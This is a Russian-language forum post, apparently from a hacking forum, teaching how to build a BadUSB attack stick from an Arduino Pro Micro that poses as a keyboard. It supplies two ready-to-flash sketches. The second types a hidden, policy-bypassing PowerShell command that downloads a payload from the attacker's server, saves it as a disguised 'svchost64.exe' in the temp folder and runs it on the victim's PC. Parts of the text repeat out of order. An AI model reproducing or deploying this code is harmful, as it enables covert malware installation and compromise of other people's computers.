Всем привет , сегодня мы обсудим такую тему как создание самодельной Badusb флешки.
Для работы нам нужно :
Arduino (подойдет любая с возможностю емуляции usb)
Arduino IDE
Знание синтаксиса С/C++
Мы будем использовать Arduino micro pro. Компактная , с подходящим объемом памяти для записи скриптов, недорогая модель, полностю нам подходит!
Купить: https://www.aliexpress.com/item/1005002781852894.html?spm=a2g0o.productlist.0.0.3f914ffeI9s1Z3&algo_pvid=630befd0-0205-4e5d-879b-0705a291de1b&algo_exp_id=630befd0-0205-4e5d-879b-0705a291de1b-33&pdp_ext_f={"sku_id":"12000022158005566"}&pdp_npi=2@dis!UAH!174.43!139.39!!!27.88!!@211675d316662933032674762ea1a2!12000022158005566!sea&curPageLogUid=aD4feaNPYQb0
Для начала атаки нужно просто вставить в пк заранее прошитую плату. Плата прошиваеться через софтину Arduino IDE .
2. Подключаем плату к пк по юсб проводу.
3. Заходим в програму и вибираем нашу ардуинку в меню выбора порта
Готово ! теперь можем приступить к написанию скриптов.
Сервис очень хороший но иногда может криво сконвертироваться код.
При написании свого скрипта мы юзаем модуль Keyboard. Написание скриптов для Badusb атак не очень тяжелое дело , или иззучайте семейку С , или копируйте код)
Скрипт открывает консоль и выполняет введеную в 3 строке команду:
Скрытое скачивание и запуск файла :
В 16 строке замените 'ваш сервак' на путь к файлу на серваку
Здесь мы розсмотрели два самых нужных скрипта для атак , пройдем к записи скриптов на плату!
1. Копируем код и вставляем в редактор Arduino IDE
2. Компилируем и загружаем код
3. Готово! тестим все ли работает.
Для работы нам нужно :
Arduino (подойдет любая с возможностю емуляции usb)
Arduino IDE
Знание синтаксиса С/C++
Выбор платы Ардуино
Мы будем использовать Arduino micro pro. Компактная , с подходящим объемом памяти для записи скриптов, недорогая модель, полностю нам подходит!
Купить: https://www.aliexpress.com/item/1005002781852894.html?spm=a2g0o.productlist.0.0.3f914ffeI9s1Z3&algo_pvid=630befd0-0205-4e5d-879b-0705a291de1b&algo_exp_id=630befd0-0205-4e5d-879b-0705a291de1b-33&pdp_ext_f={"sku_id":"12000022158005566"}&pdp_npi=2@dis!UAH!174.43!139.39!!!27.88!!@211675d316662933032674762ea1a2!12000022158005566!sea&curPageLogUid=aD4feaNPYQb0
Как работает схема атаки на ардуино
В работе мы используем модуль Keyboard , когда ардуинка подключаеться к источнику питания , процесор платы начинает обробку скрипта , и поссылает команды модулю usb который емулирует клавиатуру. Тем самым система пк жертвы определяет ардуинку как клавиатуру.
Для начала атаки нужно просто вставить в пк заранее прошитую плату. Плата прошиваеться через софтину Arduino IDE .
Подготовка к прошивке
1. Ставим Arduino IDE , при установке соглашаемсяя на установку драйверов.2. Подключаем плату к пк по юсб проводу.
3. Заходим в програму и вибираем нашу ардуинку в меню выбора порта
Готово ! теперь можем приступить к написанию скриптов.
Пишем скрипты
При поиске нормальных скриптов для ардуино вы получете одно говно , везде только скрипты на языке Rubber Ducky Script. Но в просторах интернета есть прекрасный сайт Duckuino , вставляете готовый Rubber ducky Script , и копируете полученный скрипт на С зделанный под ардуино!
Сервис очень хороший но иногда может криво сконвертироваться код.
При написании свого скрипта мы юзаем модуль Keyboard. Написание скриптов для Badusb атак не очень тяжелое дело , или иззучайте семейку С , или копируйте код)
Скрипт открывает консоль и выполняет введеную в 3 строке команду:
C:
#include<Keyboard.h>
#define KEY_DELAY 50
const char command [] = "" ;
void setup() {
Keyboard.begin();
delay(3000);
}
void loop() {
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(KEY_DELAY);
Keyboard.releaseAll();
delay(KEY_DELAY*5);
Keyboard.println("cmd");
delay(KEY_DELAY*5);
Keyboard.println(command);
delay(100000);
}
Скрытое скачивание и запуск файла :
C:
#include<Keyboard.h>
#define KEY_DELAY 50
const char command [] = " " ;
void setup() {
Keyboard.begin();
delay(3000);
}
void loop() {
//Pressing Win+r shortcut
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
delay(KEY_DELAY);
Keyboard.releaseAll();
delay(KEY_DELAY*5);
Keyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('ваш сервак',\\\"$env:temp\\svchost64.exe\\\"); Start-Process \\\"$env:temp\\svchost64.exe\\\"\"");
delay(KEY_DELAY*5);//A delay to ensure that cmd window has been started
delay(10000000);
}
В 16 строке замените 'ваш сервак' на путь к файлу на серваку
Здесь мы розсмотрели два самых нужных скрипта для атак , пройдем к записи скриптов на плату!
Запись скрипта на плату
1. Копируем код и вставляем в редактор Arduino IDE
2. Компилируем и загружаем код
3. Готово! тестим все ли работает.
Последнее редактирование:


